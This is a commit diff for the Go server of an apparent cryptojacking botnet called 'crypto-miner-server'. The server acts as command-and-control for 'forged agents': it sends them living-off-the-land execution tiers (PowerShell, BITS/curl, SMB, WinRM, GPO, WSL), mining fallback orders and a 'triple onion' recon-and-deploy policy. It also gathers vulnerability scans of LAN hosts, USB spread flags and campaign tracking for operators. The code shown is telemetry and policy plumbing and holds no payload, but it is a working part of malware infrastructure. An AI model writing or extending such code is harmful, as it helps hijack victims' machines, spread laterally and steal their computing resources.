Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -17,6 +17,7 @@ import (
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"crypto-miner-server/internal/vuln"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/gorilla/websocket"
|
||||
@@ -151,6 +152,8 @@ type WSHub struct {
|
||||
agentLogs map[string]string
|
||||
// T1016 DNS drift detection — stores last seen resolver list per agent
|
||||
agentDNS map[string][]string
|
||||
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
|
||||
agentServiceDiscover map[string]cachedServiceDiscover
|
||||
serverPolicy ServerPolicy
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
@@ -168,6 +171,11 @@ type WSHub struct {
|
||||
beaconLastSeen map[string]time.Time
|
||||
beaconCmdQueue map[string][]BeaconCommand
|
||||
beaconPolicyQueue map[string][]FleetAgentPolicy
|
||||
|
||||
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
||||
statsBatchMu sync.Mutex
|
||||
statsBatch map[string]json.RawMessage
|
||||
statsBatchTimer *time.Timer
|
||||
}
|
||||
|
||||
func NewWSHub(database *db.Database) *WSHub {
|
||||
@@ -186,7 +194,8 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
agentServiceDiscover: make(map[string]cachedServiceDiscover),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
@@ -589,6 +598,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
Campaign string `json:"campaign"`
|
||||
UTM string `json:"utm"`
|
||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -743,6 +754,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
WorkerName: workerName,
|
||||
USBSpread: auth.USBSpread,
|
||||
Campaign: coalesceStr(auth.Campaign, auth.UTM),
|
||||
JoinLane: strings.TrimSpace(auth.JoinLane),
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -801,10 +813,43 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
go h.runPingLoopAgent(ac)
|
||||
}
|
||||
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": agentID,
|
||||
})})
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(func() map[string]interface{} {
|
||||
resp := map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": agentID,
|
||||
}
|
||||
if auth.LotlPolicyFromServer {
|
||||
tiers := policy.LotlOnionTiers
|
||||
if len(tiers) == 0 {
|
||||
tiers = []string{
|
||||
"vuln_recon",
|
||||
"docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||
"smb", "winrm", "linux", "gpo",
|
||||
}
|
||||
}
|
||||
resp["lotl_onion_tiers"] = tiers
|
||||
}
|
||||
mp := policy.MiningTierPolicy
|
||||
if len(mp.TierOrder) == 0 {
|
||||
mp.TierOrder = []string{
|
||||
"exe_subprocess", "docker_load", "container", "wsl", "ps_inmemory",
|
||||
"cpu_inprocess", "gpu_subprocess", "stratum_direct",
|
||||
}
|
||||
}
|
||||
resp["mining_tier_policy"] = mp
|
||||
top := policy.TripleOnionPolicy
|
||||
if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
|
||||
!top.MineIsolatedTier && !top.SkipMiningOnHighRisk {
|
||||
top.PatchFirst = true
|
||||
top.HighRiskThreshold = 50
|
||||
top.ReconTiers = []string{"kev_scan", "vuln_recon", "service_probe", "listen_ports"}
|
||||
top.DeployLanes = []string{
|
||||
"discover_and_join", "docker", "wsl", "powershell", "dotnet", "bits_curl", "smb", "winrm",
|
||||
}
|
||||
}
|
||||
resp["triple_onion_policy"] = top
|
||||
return resp
|
||||
}())})
|
||||
|
||||
// Auto-start mining: ensure the agent isn't stuck in a paused
|
||||
// state from a previous session. The agent's in-memory pause flag
|
||||
@@ -908,6 +953,39 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Status string `json:"status"`
|
||||
StartType string `json:"start_type"`
|
||||
} `json:"services,omitempty"`
|
||||
// Mining fallback cascade
|
||||
ActiveMethod string `json:"active_method,omitempty"`
|
||||
MiningLastError string `json:"last_error,omitempty"`
|
||||
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
||||
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||
ChainOrder []string `json:"chain_order,omitempty"`
|
||||
FailedMethods []struct {
|
||||
Method string `json:"method"`
|
||||
Reason string `json:"reason"`
|
||||
At string `json:"at"`
|
||||
} `json:"failed_methods,omitempty"`
|
||||
// Fleet health mining telemetry (coalesced into stats_batch)
|
||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||
LOTLAttempts []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
} `json:"lotl_attempts,omitempty"`
|
||||
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
||||
VulnFindings []struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
} `json:"vuln_findings,omitempty"`
|
||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
|
||||
continue
|
||||
@@ -1022,6 +1100,66 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if len(stats.Services) > 0 {
|
||||
broadcast["services"] = stats.Services
|
||||
}
|
||||
if stats.ActiveMethod != "" {
|
||||
broadcast["active_method"] = stats.ActiveMethod
|
||||
}
|
||||
if stats.MiningLastError != "" {
|
||||
broadcast["last_error"] = stats.MiningLastError
|
||||
}
|
||||
if stats.StratumOverlay {
|
||||
broadcast["stratum_overlay"] = true
|
||||
}
|
||||
if stats.ChainExhausted {
|
||||
broadcast["chain_exhausted"] = true
|
||||
}
|
||||
if len(stats.ChainOrder) > 0 {
|
||||
broadcast["chain_order"] = stats.ChainOrder
|
||||
}
|
||||
if len(stats.FailedMethods) > 0 {
|
||||
broadcast["failed_methods"] = stats.FailedMethods
|
||||
}
|
||||
if stats.MiningHashrate > 0 {
|
||||
broadcast["mining_hashrate"] = stats.MiningHashrate
|
||||
}
|
||||
if stats.LOTLTier != "" {
|
||||
broadcast["lotl_tier"] = stats.LOTLTier
|
||||
}
|
||||
if len(stats.LOTLAttempts) > 0 {
|
||||
broadcast["lotl_attempts"] = stats.LOTLAttempts
|
||||
}
|
||||
if stats.StratumEgress != "" {
|
||||
broadcast["stratum_egress"] = stats.StratumEgress
|
||||
}
|
||||
if stats.JoinLane != "" {
|
||||
broadcast["join_lane"] = stats.JoinLane
|
||||
}
|
||||
if len(stats.NetworkHints) > 0 && string(stats.NetworkHints) != "null" {
|
||||
var hints interface{}
|
||||
if err := json.Unmarshal(stats.NetworkHints, &hints); err == nil {
|
||||
broadcast["network_hints"] = hints
|
||||
}
|
||||
}
|
||||
if len(stats.VulnFindings) > 0 || stats.VulnRiskScore != nil {
|
||||
findings := make([]vuln.Finding, len(stats.VulnFindings))
|
||||
for i, f := range stats.VulnFindings {
|
||||
findings[i] = vuln.Finding{
|
||||
CVEID: f.CVEID, Severity: f.Severity, Component: f.Component,
|
||||
Patched: f.Patched, ExploitableInFleetContext: f.ExploitableInFleetContext,
|
||||
Detail: f.Detail,
|
||||
}
|
||||
}
|
||||
fctx := vuln.FleetContext{SSHAvailable: stats.SSHAvailable != nil && *stats.SSHAvailable}
|
||||
if stats.ListenPortCount != nil {
|
||||
fctx.ListenPortCount = *stats.ListenPortCount
|
||||
}
|
||||
findings = vuln.EnrichFindings(findings, fctx)
|
||||
score := vuln.RiskScore(findings)
|
||||
if stats.VulnRiskScore != nil && *stats.VulnRiskScore > score {
|
||||
score = *stats.VulnRiskScore
|
||||
}
|
||||
broadcast["vuln_findings"] = findings
|
||||
broadcast["vuln_risk_score"] = score
|
||||
}
|
||||
// Attach latest RTT latency from the ping loop.
|
||||
if ac := h.getAgentConn(agentID); ac != nil {
|
||||
ac.latencyMu.Lock()
|
||||
@@ -1030,7 +1168,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
ac.latencyMu.Unlock()
|
||||
}
|
||||
h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
|
||||
h.queueStatsBroadcast(broadcast)
|
||||
|
||||
case "submit_share":
|
||||
if agentID == "" {
|
||||
@@ -1187,6 +1325,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
payload["agent_id"] = agentID
|
||||
h.broadcastDashboard(Message{Type: "policy_ack", Payload: mustMarshal(payload)})
|
||||
|
||||
case "mining_fallback", "mining_status", "tier_report":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
payload["agent_id"] = agentID
|
||||
h.queueStatsBroadcast(payload)
|
||||
|
||||
case "command_result":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -1200,6 +1349,13 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
// Notify any handler waiting for this specific agent+action result.
|
||||
if action, _ := payload["action"].(string); action != "" {
|
||||
h.notifyCmdCallback(agentID, action, payload)
|
||||
if action == "service_discover" {
|
||||
if ok, _ := payload["success"].(bool); ok {
|
||||
if msg, _ := payload["message"].(string); strings.TrimSpace(msg) != "" {
|
||||
h.cacheServiceDiscover(agentID, msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
if action == "full_sys_check" {
|
||||
if ok, _ := payload["success"].(bool); ok {
|
||||
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
|
||||
@@ -1328,6 +1484,70 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
|
||||
const statsBatchInterval = 250 * time.Millisecond
|
||||
|
||||
// mergeStatsPayload shallow-merges two stats maps so stats + mining_status in the
|
||||
// same 250ms window both land in one stats_batch update for dashboards.
|
||||
func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage {
|
||||
var base, patch map[string]interface{}
|
||||
if json.Unmarshal(existing, &base) != nil || base == nil {
|
||||
base = map[string]interface{}{}
|
||||
}
|
||||
if json.Unmarshal(incoming, &patch) != nil || patch == nil {
|
||||
return existing
|
||||
}
|
||||
for k, v := range patch {
|
||||
base[k] = v
|
||||
}
|
||||
return mustMarshal(base)
|
||||
}
|
||||
|
||||
// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
|
||||
// message per interval instead of N individual stats_update frames.
|
||||
func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) {
|
||||
agentID, _ := payload["agent_id"].(string)
|
||||
if agentID == "" {
|
||||
return
|
||||
}
|
||||
data := mustMarshal(payload)
|
||||
|
||||
h.statsBatchMu.Lock()
|
||||
if h.statsBatch == nil {
|
||||
h.statsBatch = make(map[string]json.RawMessage)
|
||||
}
|
||||
if prev, ok := h.statsBatch[agentID]; ok {
|
||||
data = mergeStatsPayload(prev, data)
|
||||
}
|
||||
h.statsBatch[agentID] = data
|
||||
if h.statsBatchTimer == nil {
|
||||
h.statsBatchTimer = time.AfterFunc(statsBatchInterval, h.flushStatsBatch)
|
||||
}
|
||||
h.statsBatchMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) flushStatsBatch() {
|
||||
h.statsBatchMu.Lock()
|
||||
batch := h.statsBatch
|
||||
h.statsBatch = nil
|
||||
if h.statsBatchTimer != nil {
|
||||
h.statsBatchTimer.Stop()
|
||||
h.statsBatchTimer = nil
|
||||
}
|
||||
h.statsBatchMu.Unlock()
|
||||
|
||||
if len(batch) == 0 {
|
||||
return
|
||||
}
|
||||
updates := make([]json.RawMessage, 0, len(batch))
|
||||
for _, raw := range batch {
|
||||
updates = append(updates, raw)
|
||||
}
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "stats_batch",
|
||||
Payload: mustMarshal(map[string]interface{}{"updates": updates}),
|
||||
})
|
||||
}
|
||||
|
||||
func (h *WSHub) broadcastDashboard(msg Message) {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -1557,6 +1777,79 @@ func (h *WSHub) GetAgentLog(agentID string) string {
|
||||
return h.agentLogs[agentID]
|
||||
}
|
||||
|
||||
type cachedServiceDiscover struct {
|
||||
Local ServiceGraphHost
|
||||
LANHosts []ServiceGraphHost
|
||||
}
|
||||
|
||||
func (h *WSHub) cacheServiceDiscover(agentID, message string) {
|
||||
var payload struct {
|
||||
Local ServiceGraphHost `json:"local"`
|
||||
LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(message), &payload); err != nil {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
h.agentServiceDiscover[agentID] = cachedServiceDiscover{
|
||||
Local: payload.Local,
|
||||
LANHosts: payload.LANHosts,
|
||||
}
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func subnetLabelMatches(hostSubnet, query string) bool {
|
||||
hostSubnet = strings.TrimSpace(hostSubnet)
|
||||
query = strings.TrimSpace(query)
|
||||
if query == "" {
|
||||
return true
|
||||
}
|
||||
query = strings.TrimSuffix(query, ".x")
|
||||
hostSubnet = strings.TrimSuffix(hostSubnet, ".x")
|
||||
return hostSubnet == query || strings.HasPrefix(hostSubnet, query+".") || strings.HasPrefix(query, hostSubnet+".")
|
||||
}
|
||||
|
||||
// QueryServiceGraph returns deduped service entries from cached service_discover runs.
|
||||
func (h *WSHub) QueryServiceGraph(agentID, subnet string) []ServiceGraphEntry {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
|
||||
seen := make(map[string]bool)
|
||||
var out []ServiceGraphEntry
|
||||
add := func(entries []ServiceGraphEntry) {
|
||||
for _, e := range entries {
|
||||
key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port)
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
out = append(out, e)
|
||||
}
|
||||
}
|
||||
|
||||
collect := func(cached cachedServiceDiscover) {
|
||||
if subnetLabelMatches(cached.Local.Subnet, subnet) {
|
||||
add(cached.Local.Services)
|
||||
}
|
||||
for _, host := range cached.LANHosts {
|
||||
if subnetLabelMatches(host.Subnet, subnet) {
|
||||
add(host.Services)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if agentID != "" {
|
||||
if cached, ok := h.agentServiceDiscover[agentID]; ok {
|
||||
collect(cached)
|
||||
}
|
||||
return out
|
||||
}
|
||||
for _, cached := range h.agentServiceDiscover {
|
||||
collect(cached)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
|
||||
h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
|
||||
}
|
||||
@@ -1618,12 +1911,15 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
|
||||
})
|
||||
}
|
||||
|
||||
// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests).
|
||||
var warRoomBroadcastInterval = 30 * time.Second
|
||||
|
||||
// runWarRoomBroadcast pushes funnel stats to dashboard clients every 30s.
|
||||
func (h *WSHub) runWarRoomBroadcast() {
|
||||
if h.db == nil {
|
||||
return
|
||||
}
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
ticker := time.NewTicker(warRoomBroadcastInterval)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
data, err := h.db.ListWarRoom(7)
|
||||
|
||||
Reference in New Issue
Block a user